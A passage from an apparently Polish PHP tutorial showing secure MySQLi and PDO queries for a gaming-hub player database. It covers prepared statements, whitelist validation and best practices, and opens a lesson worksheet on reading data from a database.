        }
        table {
            width: 100%;
            border-collapse: collapse;
        }
        tr:hover {
            background: #f5f5f5;
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;h1&gt;Wyszukiwarka Graczy&lt;/h1&gt;

&lt;form method="POST"&gt;
    &lt;input type="text" name="username" placeholder="Nick gracza (fragment)" value="&lt;?= htmlspecialchars($_POST&#91;'username'] ?? '') ?&gt;"&gt;
    
    &lt;select name="rank"&gt;
        &lt;option value=""&gt;Wszystkie rangi&lt;/option&gt;
        &lt;option value="Bronze" &lt;?= ($_POST&#91;'rank'] ?? '') == 'Bronze' ? 'selected' : '' ?&gt;&gt;Bronze&lt;/option&gt;
        &lt;option value="Silver" &lt;?= ($_POST&#91;'rank'] ?? '') == 'Silver' ? 'selected' : '' ?&gt;&gt;Silver&lt;/option&gt;
        &lt;option value="Gold" &lt;?= ($_POST&#91;'rank'] ?? '') == 'Gold' ? 'selected' : '' ?&gt;&gt;Gold&lt;/option&gt;
        &lt;option value="Platinum" &lt;?= ($_POST&#91;'rank'] ?? '') == 'Platinum' ? 'selected' : '' ?&gt;&gt;Platinum&lt;/option&gt;
        &lt;option value="Diamond" &lt;?= ($_POST&#91;'rank'] ?? '') == 'Diamond' ? 'selected' : '' ?&gt;&gt;Diamond&lt;/option&gt;
        &lt;option value="Master" &lt;?= ($_POST&#91;'rank'] ?? '') == 'Master' ? 'selected' : '' ?&gt;&gt;Master&lt;/option&gt;
        &lt;option value="Grandmaster" &lt;?= ($_POST&#91;'rank'] ?? '') == 'Grandmaster' ? 'selected' : '' ?&gt;&gt;Grandmaster&lt;/option&gt;
    &lt;/select&gt;
    
    &lt;input type="number" name="min_level" placeholder="Min. poziom" min="1" value="&lt;?= htmlspecialchars($_POST&#91;'min_level'] ?? '') ?&gt;"&gt;
    
    &lt;button type="submit" name="szukaj"&gt;Szukaj&lt;/button&gt;
&lt;/form&gt;

&lt;/body&gt;
&lt;/html&gt;</code></pre>



<h3 class="wp-block-heading">Przykład 5: Ranking graczy &#8211; sortowanie i limit (GET)</h3>



<p class="wp-block-paragraph"><strong>Adres URL:</strong>&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">ranking.php?sort=level&amp;order=desc&amp;limit=10</code></p>



<h4 class="wp-block-heading"><strong>MySQLi obiektowo:</strong></h4>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// ranking.php
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');

if ($db-&gt;connect_error) {
    die('Błąd połączenia');
}

$db-&gt;set_charset('utf8mb4');

if ($_SERVER&#91;'REQUEST_METHOD'] === 'GET') {
    // Pobieramy parametry z URL
    $sort = $_GET&#91;'sort'] ?? 'level';
    $order = $_GET&#91;'order'] ?? 'desc';
    $limit = (int)($_GET&#91;'limit'] ?? 10);
    
    // Walidacja parametrów (whitelist - tylko dozwolone wartości)
    $allowed_sort = &#91;'level', 'coins', 'wins', 'games_played'];
    $allowed_order = &#91;'asc', 'desc'];
    
    if (!in_array($sort, $allowed_sort)) {
        $sort = 'level';
    }
    
    if (!in_array($order, $allowed_order)) {
        $order = 'desc';
    }
    
    if ($limit &lt; 1 || $limit &gt; 100) {
        $limit = 10;
    }
    
    // BEZPIECZNE - używamy walidacji + prepared statement dla limitu
    // Kolumny sortowania są z whitelisty, więc bezpieczne
    $sql = "SELECT * FROM players ORDER BY {$sort} {$order} LIMIT ?";
    $stmt = $db-&gt;prepare($sql);
    $stmt-&gt;bind_param("i", $limit);
    $stmt-&gt;execute();
    
    $wynik = $stmt-&gt;get_result();
    
    $sort_label = &#91;
        'level' =&gt; 'poziomu',
        'coins' =&gt; 'coins',
        'wins' =&gt; 'wygranych',
        'games_played' =&gt; 'rozegranych gier'
    ];
    
    echo "&lt;h1&gt;Ranking graczy (wg {$sort_label&#91;$sort]})&lt;/h1&gt;";
    echo "&lt;p&gt;Top {$limit} graczy&lt;/p&gt;";
    
    echo '&lt;table border="1" cellpadding="10" style="width:100%; border-collapse:collapse;"&gt;';
    echo '&lt;tr style="background:#007bff; color:white;"&gt;
            &lt;th&gt;#&lt;/th&gt;
            &lt;th&gt;Username&lt;/th&gt;
            &lt;th&gt;Level&lt;/th&gt;
            &lt;th&gt;Rank&lt;/th&gt;
            &lt;th&gt;Coins&lt;/th&gt;
            &lt;th&gt;Wins&lt;/th&gt;
            &lt;th&gt;Games&lt;/th&gt;
          &lt;/tr&gt;';
    
    $pozycja = 1;
    while ($gracz = $wynik-&gt;fetch_assoc()) {
        $username = htmlspecialchars($gracz&#91;'username']);
        $coins = number_format($gracz&#91;'coins']);
        
        echo "&lt;tr&gt;";
        echo "&lt;td&gt;&lt;strong&gt;#{$pozycja}&lt;/strong&gt;&lt;/td&gt;";
        echo "&lt;td&gt;{$username}&lt;/td&gt;";
        echo "&lt;td&gt;{$gracz&#91;'level']}&lt;/td&gt;";
        echo "&lt;td&gt;{$gracz&#91;'rank_name']}&lt;/td&gt;";
        echo "&lt;td&gt;{$coins}&lt;/td&gt;";
        echo "&lt;td&gt;{$gracz&#91;'wins']}&lt;/td&gt;";
        echo "&lt;td&gt;{$gracz&#91;'games_played']}&lt;/td&gt;";
        echo "&lt;/tr&gt;";
        $pozycja++;
    }
    
    echo '&lt;/table&gt;';
    
    echo "&lt;br&gt;&lt;p&gt;Zmień sortowanie:&lt;/p&gt;";
    echo "&lt;a href='ranking.php?sort=level&amp;order=desc&amp;limit=10'&gt;Top 10 Level&lt;/a&gt; | ";
    echo "&lt;a href='ranking.php?sort=coins&amp;order=desc&amp;limit=5'&gt;Top 5 Coins&lt;/a&gt; | ";
    echo "&lt;a href='ranking.php?sort=wins&amp;order=desc&amp;limit=20'&gt;Top 20 Wins&lt;/a&gt;";
    
    $stmt-&gt;close();
}

$db-&gt;close();
?&gt;</code></pre>



<h4 class="wp-block-heading"><strong>PDO:</strong></h4>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// ranking.php
try {
    $pdo = new PDO(
        'mysql:host=localhost;dbname=gaming_hub;charset=utf8mb4',
        'root',
        '',
        &#91;
            PDO::ATTR_ERRMODE =&gt; PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE =&gt; PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES =&gt; false
        ]
    );
    
    if ($_SERVER&#91;'REQUEST_METHOD'] === 'GET') {
        // Pobieramy parametry z URL
        $sort = $_GET&#91;'sort'] ?? 'level';
        $order = $_GET&#91;'order'] ?? 'desc';
        $limit = (int)($_GET&#91;'limit'] ?? 10);
        
        // Walidacja parametrów (whitelist - tylko dozwolone wartości)
        $allowed_sort = &#91;'level', 'coins', 'wins', 'games_played'];
        $allowed_order = &#91;'asc', 'desc'];
        
        if (!in_array($sort, $allowed_sort)) {
            $sort = 'level';
        }
        
        if (!in_array($order, $allowed_order)) {
            $order = 'desc';
        }
        
        if ($limit &lt; 1 || $limit &gt; 100) {
            $limit = 10;
        }
        
        // BEZPIECZNE - używamy walidacji + prepared statement dla limitu
        // Kolumny sortowania są z whitelisty, więc bezpieczne
        $sql = "SELECT * FROM players ORDER BY {$sort} {$order} LIMIT :limit";
        $stmt = $pdo-&gt;prepare($sql);
        $stmt-&gt;bindValue(':limit', $limit, PDO::PARAM_INT);
        $stmt-&gt;execute();
        
        $wyniki = $stmt-&gt;fetchAll();
        
        $sort_label = &#91;
            'level' =&gt; 'poziomu',
            'coins' =&gt; 'coins',
            'wins' =&gt; 'wygranych',
            'games_played' =&gt; 'rozegranych gier'
        ];
        
        echo "&lt;h1&gt;Ranking graczy (wg {$sort_label&#91;$sort]})&lt;/h1&gt;";
        echo "&lt;p&gt;Top {$limit} graczy&lt;/p&gt;";
        
        echo '&lt;table border="1" cellpadding="10" style="width:100%; border-collapse:collapse;"&gt;';
        echo '&lt;tr style="background:#007bff; color:white;"&gt;
                &lt;th&gt;#&lt;/th&gt;
                &lt;th&gt;Username&lt;/th&gt;
                &lt;th&gt;Level&lt;/th&gt;
                &lt;th&gt;Rank&lt;/th&gt;
                &lt;th&gt;Coins&lt;/th&gt;
                &lt;th&gt;Wins&lt;/th&gt;
                &lt;th&gt;Games&lt;/th&gt;
              &lt;/tr&gt;';
        
        $pozycja = 1;
        foreach ($wyniki as $gracz) {
            $username = htmlspecialchars($gracz&#91;'username']);
            $coins = number_format($gracz&#91;'coins']);
            
            echo "&lt;tr&gt;";
            echo "&lt;td&gt;&lt;strong&gt;#{$pozycja}&lt;/strong&gt;&lt;/td&gt;";
            echo "&lt;td&gt;{$username}&lt;/td&gt;";
            echo "&lt;td&gt;{$gracz&#91;'level']}&lt;/td&gt;";
            echo "&lt;td&gt;{$gracz&#91;'rank_name']}&lt;/td&gt;";
            echo "&lt;td&gt;{$coins}&lt;/td&gt;";
            echo "&lt;td&gt;{$gracz&#91;'wins']}&lt;/td&gt;";
            echo "&lt;td&gt;{$gracz&#91;'games_played']}&lt;/td&gt;";
            echo "&lt;/tr&gt;";
            $pozycja++;
        }
        
        echo '&lt;/table&gt;';
        
        echo "&lt;br&gt;&lt;p&gt;Zmień sortowanie:&lt;/p&gt;";
        echo "&lt;a href='ranking.php?sort=level&amp;order=desc&amp;limit=10'&gt;Top 10 Level&lt;/a&gt; | ";
        echo "&lt;a href='ranking.php?sort=coins&amp;order=desc&amp;limit=5'&gt;Top 5 Coins&lt;/a&gt; | ";
        echo "&lt;a href='ranking.php?sort=wins&amp;order=desc&amp;limit=20'&gt;Top 20 Wins&lt;/a&gt;";
    }
    
} catch (PDOException $e) {
    error_log("DB Error: {$e-&gt;getMessage()}");
    die('Błąd bazy danych');
}

$pdo = null;
?&gt;</code></pre>



<h3 class="wp-block-heading">Przykład 6: Wyszukiwanie LIKE &#8211; dane z GET</h3>



<p class="wp-block-paragraph"><strong>Adres URL:</strong>&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">szukaj.php?q=Dragon</code></p>



<h4 class="wp-block-heading"><strong>MySQLi obiektowo:</strong></h4>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// szukaj.php
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');

if ($db-&gt;connect_error) {
    die('Błąd połączenia');
}

$db-&gt;set_charset('utf8mb4');

// Pobieramy fraze z URL
$szukaj = trim($_GET&#91;'q'] ?? '');

if ($_SERVER&#91;'REQUEST_METHOD'] === 'GET' &amp;&amp; isset($_GET&#91;'q'])) {
    // BEZPIECZNE - Prepared statement z LIKE
    $stmt = $db-&gt;prepare("SELECT * FROM players WHERE username LIKE ? OR email LIKE ?");
    
    // Dodajemy % do wyszukiwania
    $szukaj_wildcard = "%{$szukaj}%";
    $stmt-&gt;bind_param("ss", $szukaj_wildcard, $szukaj_wildcard);
    $stmt-&gt;execute();
    
    $wynik = $stmt-&gt;get_result();
    
    $safe_search = htmlspecialchars($szukaj);
    
    if ($wynik-&gt;num_rows &gt; 0) {
        echo "&lt;h2&gt;Wyniki wyszukiwania: \"{$safe_search}\"&lt;/h2&gt;";
        echo "&lt;p&gt;Znaleziono: {$wynik-&gt;num_rows} graczy&lt;/p&gt;&lt;br&gt;";
        
        while ($gracz = $wynik-&gt;fetch_assoc()) {
            $username = htmlspecialchars($gracz&#91;'username']);
            $email = htmlspecialchars($gracz&#91;'email']);
            $coins = number_format($gracz&#91;'coins']);
            
            echo "&lt;div style='background:#f4f4f4; padding:15px; margin:10px 0; border-radius:8px;'&gt;";
            echo "&lt;strong&gt;{$username}&lt;/strong&gt; (Level: {$gracz&#91;'level']}, Rank: {$gracz&#91;'rank_name']})&lt;br&gt;";
            echo "{$email} | {$coins} coins&lt;br&gt;";
            echo "&lt;a href='profil.php?id={$gracz&#91;'id']}'&gt;Zobacz profil&lt;/a&gt;";
            echo "&lt;/div&gt;";
        }
    } else {
        echo "&lt;p&gt;Nie znaleziono graczy dla frazy: \"{$safe_search}\"&lt;/p&gt;";
    }
    
    $stmt-&gt;close();
} else {
    echo "&lt;p&gt;Wpisz frazę do wyszukania (np. szukaj.php?q=Dragon)&lt;/p&gt;";
}

$db-&gt;close();

echo "&lt;br&gt;&lt;hr&gt;";
echo "&lt;p&gt;Przykłady wyszukiwań:&lt;/p&gt;";
echo "&lt;a href='szukaj.php?q=Dragon'&gt;szukaj.php?q=Dragon&lt;/a&gt;&lt;br&gt;";
echo "&lt;a href='szukaj.php?q=Gamer'&gt;szukaj.php?q=Gamer&lt;/a&gt;&lt;br&gt;";
echo "&lt;a href='szukaj.php?q=@example.com'&gt;szukaj.php?q=@example.com&lt;/a&gt;";
?&gt;</code></pre>



<h4 class="wp-block-heading"><strong>PDO:</strong></h4>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// szukaj.php
try {
    $pdo = new PDO(
        'mysql:host=localhost;dbname=gaming_hub;charset=utf8mb4',
        'root',
        '',
        &#91;
            PDO::ATTR_ERRMODE =&gt; PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE =&gt; PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES =&gt; false
        ]
    );
    
    // Pobieramy fraze z URL
    $szukaj = trim($_GET&#91;'q'] ?? '');
    
    if ($_SERVER&#91;'REQUEST_METHOD'] === 'GET' &amp;&amp; isset($_GET&#91;'q'])) {
        // BEZPIECZNE - Prepared statement z LIKE
        $stmt = $pdo-&gt;prepare("SELECT * FROM players WHERE username LIKE :szukaj OR email LIKE :szukaj");
        
        // Dodajemy % do wyszukiwania
        $szukaj_wildcard = "%{$szukaj}%";
        $stmt-&gt;execute(&#91;'szukaj' =&gt; $szukaj_wildcard]);
        
        $wyniki = $stmt-&gt;fetchAll();
        
        $safe_search = htmlspecialchars($szukaj);
        $liczba = count($wyniki);
        
        if ($liczba &gt; 0) {
            echo "&lt;h2&gt;Wyniki wyszukiwania: \"{$safe_search}\"&lt;/h2&gt;";
            echo "&lt;p&gt;Znaleziono: {$liczba} graczy&lt;/p&gt;&lt;br&gt;";
            
            foreach ($wyniki as $gracz) {
                $username = htmlspecialchars($gracz&#91;'username']);
                $email = htmlspecialchars($gracz&#91;'email']);
                $coins = number_format($gracz&#91;'coins']);
                
                echo "&lt;div style='background:#f4f4f4; padding:15px; margin:10px 0; border-radius:8px;'&gt;";
                echo "&lt;strong&gt;{$username}&lt;/strong&gt; (Level: {$gracz&#91;'level']}, Rank: {$gracz&#91;'rank_name']})&lt;br&gt;";
                echo "{$email} | {$coins} coins&lt;br&gt;";
                echo "&lt;a href='profil.php?id={$gracz&#91;'id']}'&gt;Zobacz profil&lt;/a&gt;";
                echo "&lt;/div&gt;";
            }
        } else {
            echo "&lt;p&gt;Nie znaleziono graczy dla frazy: \"{$safe_search}\"&lt;/p&gt;";
        }
    } else {
        echo "&lt;p&gt;Wpisz frazę do wyszukania (np. szukaj.php?q=Dragon)&lt;/p&gt;";
    }
    
} catch (PDOException $e) {
    error_log("DB Error: {$e-&gt;getMessage()}");
    die('Błąd bazy danych');
}

$pdo = null;

echo "&lt;br&gt;&lt;hr&gt;";
echo "&lt;p&gt;Przykłady wyszukiwań:&lt;/p&gt;";
echo "&lt;a href='szukaj.php?q=Dragon'&gt;szukaj.php?q=Dragon&lt;/a&gt;&lt;br&gt;";
echo "&lt;a href='szukaj.php?q=Gamer'&gt;szukaj.php?q=Gamer&lt;/a&gt;&lt;br&gt;";
echo "&lt;a href='szukaj.php?q=@example.com'&gt;szukaj.php?q=@example.com&lt;/a&gt;";
?&gt;</code></pre>



<h3 class="wp-block-heading">Przykład 7: Statystyki &#8211; funkcje agregujące</h3>



<h4 class="wp-block-heading"><strong>MySQLi obiektowo:</strong></h4>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');

if ($db-&gt;connect_error) {
    die('Błąd połączenia');
}

$db-&gt;set_charset('utf8mb4');

// BEZPIECZNE - Prepared statement (brak parametrów użytkownika)
$stmt = $db-&gt;prepare("SELECT 
    COUNT(*) as total_players,
    AVG(level) as avg_level,
    SUM(coins) as total_coins,
    MAX(level) as max_level,
    MIN(level) as min_level,
    SUM(games_played) as total_games,
    SUM(wins) as total_wins,
    SUM(losses) as total_losses
FROM players");

$stmt-&gt;execute();
$wynik = $stmt-&gt;get_result();
$stats = $wynik-&gt;fetch_assoc();

$avg_level = round($stats&#91;'avg_level'], 1);
$total_coins = number_format($stats&#91;'total_coins']);
$total_games = number_format($stats&#91;'total_games']);
$total_wins = number_format($stats&#91;'total_wins']);
$total_losses = number_format($stats&#91;'total_losses']);

echo "&lt;h2&gt;Statystyki Gaming Hub&lt;/h2&gt;";
echo "&lt;div style='background:#f4f4f4; padding:20px; border-radius:8px;'&gt;";
echo "&lt;p&gt;Liczba graczy: &lt;strong&gt;{$stats&#91;'total_players']}&lt;/strong&gt;&lt;/p&gt;";
echo "&lt;p&gt;Średni poziom: &lt;strong&gt;{$avg_level}&lt;/strong&gt;&lt;/p&gt;";
echo "&lt;p&gt;Łączne coins: &lt;strong&gt;{$total_coins}&lt;/strong&gt;&lt;/p&gt;";
echo "&lt;p&gt;Najwyższy poziom: &lt;strong&gt;{$stats&#91;'max_level']}&lt;/strong&gt;&lt;/p&gt;";
echo "&lt;p&gt;Najniższy poziom: &lt;strong&gt;{$stats&#91;'min_level']}&lt;/strong&gt;&lt;/p&gt;";
echo "&lt;p&gt;Rozegrane gry: &lt;strong&gt;{$total_games}&lt;/strong&gt;&lt;/p&gt;";
echo "&lt;p&gt;Wygrane: &lt;strong&gt;{$total_wins}&lt;/strong&gt;&lt;/p&gt;";
echo "&lt;p&gt;Przegrane: &lt;strong&gt;{$total_losses}&lt;/strong&gt;&lt;/p&gt;";
echo "&lt;/div&gt;";

$stmt-&gt;close();
$db-&gt;close();
?&gt;</code></pre>



<h4 class="wp-block-heading"><strong>PDO:</strong></h4>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
try {
    $pdo = new PDO(
        'mysql:host=localhost;dbname=gaming_hub;charset=utf8mb4',
        'root',
        '',
        &#91;
            PDO::ATTR_ERRMODE =&gt; PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE =&gt; PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES =&gt; false
        ]
    );
    
    // BEZPIECZNE - Prepared statement (brak parametrów użytkownika)
    $stmt = $pdo-&gt;prepare("SELECT 
        COUNT(*) as total_players,
        AVG(level) as avg_level,
        SUM(coins) as total_coins,
        MAX(level) as max_level,
        MIN(level) as min_level,
        SUM(games_played) as total_games,
        SUM(wins) as total_wins,
        SUM(losses) as total_losses
    FROM players");
    
    $stmt-&gt;execute();
    $stats = $stmt-&gt;fetch();
    
    $avg_level = round($stats&#91;'avg_level'], 1);
    $total_coins = number_format($stats&#91;'total_coins']);
    $total_games = number_format($stats&#91;'total_games']);
    $total_wins = number_format($stats&#91;'total_wins']);
    $total_losses = number_format($stats&#91;'total_losses']);
    
    echo "&lt;h2&gt;Statystyki Gaming Hub&lt;/h2&gt;";
    echo "&lt;div style='background:#f4f4f4; padding:20px; border-radius:8px;'&gt;";
    echo "&lt;p&gt;Liczba graczy: &lt;strong&gt;{$stats&#91;'total_players']}&lt;/strong&gt;&lt;/p&gt;";
    echo "&lt;p&gt;Średni poziom: &lt;strong&gt;{$avg_level}&lt;/strong&gt;&lt;/p&gt;";
    echo "&lt;p&gt;ączne coins: &lt;strong&gt;{$total_coins}&lt;/strong&gt;&lt;/p&gt;";
    echo "&lt;p&gt;Najwyższy poziom: &lt;strong&gt;{$stats&#91;'max_level']}&lt;/strong&gt;&lt;/p&gt;";
    echo "&lt;p&gt;Najniższy poziom: &lt;strong&gt;{$stats&#91;'min_level']}&lt;/strong&gt;&lt;/p&gt;";
    echo "&lt;p&gt;Rozegrane gry: &lt;strong&gt;{$total_games}&lt;/strong&gt;&lt;/p&gt;";
    echo "&lt;p&gt;Wygrane: &lt;strong&gt;{$total_wins}&lt;/strong&gt;&lt;/p&gt;";
    echo "&lt;p&gt;Przegrane: &lt;strong&gt;{$total_losses}&lt;/strong&gt;&lt;/p&gt;";
    echo "&lt;/div&gt;";
    
} catch (PDOException $e) {
    error_log("DB Error: {$e-&gt;getMessage()}");
    die('Błąd bazy danych');
}

$pdo = null;
?&gt;</code></pre>



<h2 class="wp-block-heading">Whitelist vs Blacklist</h2>



<h3 class="wp-block-heading">Whitelist <strong>(ZALECANE)</strong>:</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// Lista dozwolonych wartości
$allowed_sort = &#91;'level', 'coins', 'wins'];

if (in_array($_GET&#91;'sort'], $allowed_sort)) {
    $sort = $_GET&#91;'sort'];  // Bezpieczne
} else {
    $sort = 'level';  // Domyślna wartość
}</code></pre>



<h3 class="wp-block-heading">Blacklist<strong>&nbsp;(NIE ZALECANE):</strong></h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// Próba blokowania "złych" wartości - NIGDY nie złapiesz wszystkich!
if ($_GET&#91;'sort'] != 'DROP' &amp;&amp; $_GET&#91;'sort'] != 'DELETE') {
    $sort = $_GET&#91;'sort'];  // NADAL NIEBEZPIECZNE!
}</code></pre>



<h2 class="wp-block-heading">Najlepsze praktyki</h2>



<h3 class="wp-block-heading">ZAWSZE:</h3>



<ol class="wp-block-list">
<li><strong>Używaj prepared statements</strong>&nbsp;dla WSZYSTKICH zapytań z danymi użytkownika</li>



<li><strong>Używaj PDO</strong>&nbsp;dla nowych projektów (uniwersalność + bezpieczeństwo)</li>



<li><strong>Używaj&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">htmlspecialchars()</code></strong>&nbsp;przy wyświetlaniu danych (ochrona XSS)</li>



<li><strong>Waliduj dane wejściowe</strong>&nbsp;(whitelist dla sortowania, LIMIT, itp.)</li>



<li><strong>Ustawiaj charset na utf8mb4</strong>&nbsp;(obsługa emoji i polskich znaków)</li>



<li><strong>Loguj błędy</strong>&nbsp;do pliku, nie pokazuj szczegółów użytkownikowi</li>



<li><strong>Używaj&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">number_format()</code></strong>&nbsp;dla czytelności dużych liczb</li>



<li><strong>Rzutuj na właściwy typ</strong>&nbsp;&#8211;&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">(int)</code>&nbsp;dla liczb,&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">trim()</code>&nbsp;dla stringów</li>
</ol>



<h3 class="wp-block-heading">NIGDY:</h3>



<ol class="wp-block-list">
<li><strong>Nie łącz zapytań SQL przez konkatenację</strong>&nbsp;z danymi użytkownika</li>



<li>Nie pokazuj szczegółów błędów SQL użytkownikowi końcowemu</li>



<li>Nie trzymaj danych dostępowych w kodzie (użyj&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">config.php</code>)</li>



<li>Nie commituj&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">config.php</code>&nbsp;do repozytorium</li>



<li>Nie używaj&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">root</code>&nbsp;bez hasła w środowisku produkcyjnym</li>



<li>Nie ufaj danym z&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">$_GET</code>&nbsp;i&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST</code>&nbsp;&#8211; zawsze waliduj!</li>
</ol>



<h1 id="TaskQuest" class="wp-block-heading">TaskQuest 1.8 — każdy gracz widzi swoje dane z bazy</h1>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>KARTA PRACY</strong></summary>
<p class="wp-block-paragraph">Po Lekcji 17 TaskQuest ma bazę danych <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest</code> z dwiema tabelami i danymi testowymi Kamy i Oli. Aplikacja jednak <strong>w ogóle z niej nie korzysta</strong>: zadania czyta z <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code>, a XP i streak są wpisane w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>. Kuba i Ola po zalogowaniu nadal widzą te same zadania i te same 99 XP.</p>



<p class="wp-block-paragraph">Dziś połączymy PHP z bazą i przełączymy stronę główną na dane z bazy. Po tej lekcji każdy użytkownik zobaczy <strong>własne</strong> zadania, <strong>własne</strong> XP i <strong>własny</strong> streak.</p>



<h3 class="wp-block-heading">Cel lekcji</h3>



<p class="wp-block-paragraph">Nauczyć się:</p>



<ul class="wp-block-list">
<li>łączyć się z bazą w PHP obiektowym <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">new mysqli(...)</code>) i obsługiwać błąd połączenia wyjątkiem,</li>



<li>pisać zapytania <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT</code> z <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">AND</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">IS NULL</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">ORDER BY</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">LIMIT</code>,</li>



<li>odczytywać wynik zapytania wiersz po wierszu (<code class="prettyprint lang-sql" style="font-size: 0.85em;">fetch_assoc()</code>) i zamieniać wiersze w obiekty <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik</code>,</li>



<li>rozpoznać <strong>SQL injection</strong> i przed nim się chronić: dane od użytkownika zawsze przekazujemy przez <strong>prepared statements</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">prepare()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">execute()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">get_result()</code>),</li>



<li>zapisywać typ „wartość albo <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>” w PHP (<code class="prettyprint lang-sql" style="font-size: 0.85em;">?string</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">?int</code>).</li>
</ul>



<p class="wp-block-paragraph">Efekt: logowanie sprawdza login w bazie, <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> pobiera z bazy zalogowanego użytkownika i tylko jego zadania, a pod listą zadań pojawia się ranking najlepszych graczy.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>Uwaga — co jest, a czego jeszcze nie ma:</strong></p>



<ul class="wp-block-list">
<li>Dziś tylko <strong>czytamy</strong> z bazy (<code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT</code>). Zapis (<code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE</code>) to Lekcja 19. Dlatego <strong>dodawanie zadań jest w tej wersji wyłączone z nawigacji</strong>: formularz <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code> nadal zapisuje do CSV, a strona główna czyta już z bazy. W Lekcji 19 formularz przejdzie na <code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT</code> i wróci na stronę.</li>



<li>Logowanie nadal jest <strong>demonstracyjne</strong>: bez hasła. Różnica: login musi istnieć w bazie. Hasła — Lekcja 19 i 22.</li>



<li>Streak nadal jest liczony uproszczoną metodą z poprzednich lekcji. Prawdziwy streak (data wykonania zadania) — Lekcja 19.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code> używamy wyłącznie <strong>obiektowo</strong>. W internecie (i w starszych materiałach) zobaczysz <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_connect()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">@new mysqli(...)</code> i sprawdzanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">connect_error</code>. My obsługujemy błędy <strong>wyjątkami</strong>, tak jak od Lekcji 12.</li>
</ul>
</blockquote>



<h1 class="wp-block-heading">Rozgrzewka — 4 pytania z Lekcji 17</h1>



<ol class="wp-block-list">
<li>Dlaczego w tabeli <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania</code> jest kolumna <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_wykonania</code>, a nie ma kolumny <code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code>? Jak w PHP obliczymy <code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code>?</li>



